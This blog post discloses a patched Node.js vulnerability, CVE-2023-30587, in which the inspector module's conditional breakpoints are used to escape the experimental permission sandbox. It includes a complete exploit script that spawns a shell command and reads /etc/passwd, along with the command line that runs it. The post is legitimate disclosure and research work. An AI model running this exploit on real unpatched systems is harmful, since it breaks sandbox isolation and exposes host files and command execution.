Breaking down the Node.js sandbox bypass CVE-2023-30587
Turns out, a lot of people want to try to safely run untrusted code, and that's hard. Pixee Engineer Matt Austin (@mattaustin) recently found a bypass of the new and experimental Node.js sandbox in versions before 20.3.1, and it just received a $3K award from Internet Bug Bounty! We think these new Node.js features will help a lot of people, and we were excited to be able to help button it up a little bit. And because Matt is too lazy to blog, I'll be the one telling you about it.
The Vulnerability
The core problem was that restrictions made with the --experimental-permission
flag could be bypassed by abusing the inspector
module. The inspector
is accessible from userland code without any special configuration or enabling CLI parameters -- is it weird to decide you want to debug your code, programmatically, after you start running it?
Anyway, the Worker
class can take an argument (the kIsInternal
Symbol) to create an "internal worker" that doesn't respect process-level restrictions.
You can't access this Symbol (kIsInternal
) directly. However, the inspector module can, and it's not disabled when process-level restrictions are in place. If you're not familiar:
The node:inspector module provides an API for interacting with the V8 inspector.
If we attach inspector
inside the Worker
constructor before the new WorkerImpl
is created we can use it to change the value of isInternal
via a malicious conditional breakpoint.
The Exploit
Let's call the exploit bypass.js
:
const { Session } = require('node:inspector/promises');
const session = new Session();
session.connect();
(async ()=>{
await session.post('Debugger.enable');
await session.post('Runtime.enable');
global.Worker = require('node:worker_threads').Worker;
let {result:{ objectId }} = await session.post('Runtime.evaluate', { expression: 'Worker' });
let { internalProperties } = await session.post("Runtime.getProperties", { objectId: objectId });
let {value:{value:{ scriptId }}} = internalProperties.filter(prop => prop.name == '[[FunctionLocation]]')[0];
let { scriptSource } = await session.post("Debugger.getScriptSource", { scriptId });
// find the line number where WorkerImpl is called.
const lineNumber = scriptSource.substring(0, scriptSource.indexOf("new WorkerImpl")).split('\n').length;
// WorkerImpl will bypass permission for internal modules. We can inject the local var "isInternal = true" with a conditional breakpoint.
await session.post("Debugger.setBreakpointByUrl", {
lineNumber: lineNumber,
url: "node:internal/worker",
columnNumber: 0,
condition: "((isInternal = true),false)"
});
new Worker(`
const child_process = require("node:child_process");
console.log(child_process.execSync("ls -l").toString());
console.log(require("fs").readFileSync("/etc/passwd").toString())
`, {
eval: true,
execArgv: [
"--experimental-permission",
"--allow-fs-read=*",
"--allow-fs-write=*",
"--allow-child-process",
"--no-warnings"
]
});
})()
Check out Matt's clever condition for the breakpoint, which overwrites the isInternal
value during a boolean
evaluation, which the debugger will call when deciding if it should "break" or not:
condition: "((isInternal = true),false)"
You can run the exploit and prove the sandbox bypass with a command line this:
$ node --experimental-permission --allow-fs-read=$(pwd) bypass.js
If exploitation didn't work, you'd expect to see something like this:
node:internal/child_process:1103
const result = spawn_sync.spawn(options);
^
Error: Access to this API has been restricted
But you won't see that, you'll see /etc/passwd
. 😬
Patched by Node.js
The Node.js team was responsive and quick to remediate this vulnerability. It was fixed in the June 20 2023 security release here: https://nodejs.org/en/blog/vulnerability/june-2023-security-releases
Further Research
There could be other ways to cause state changes to other internal APIs to achieve the same goal, but fortunately, most of the logic for sandboxing is in C land, so there's less attack surface from Node APIs.
Subscribe to my newsletter
Read articles from Arshan Dabirsiaghi directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by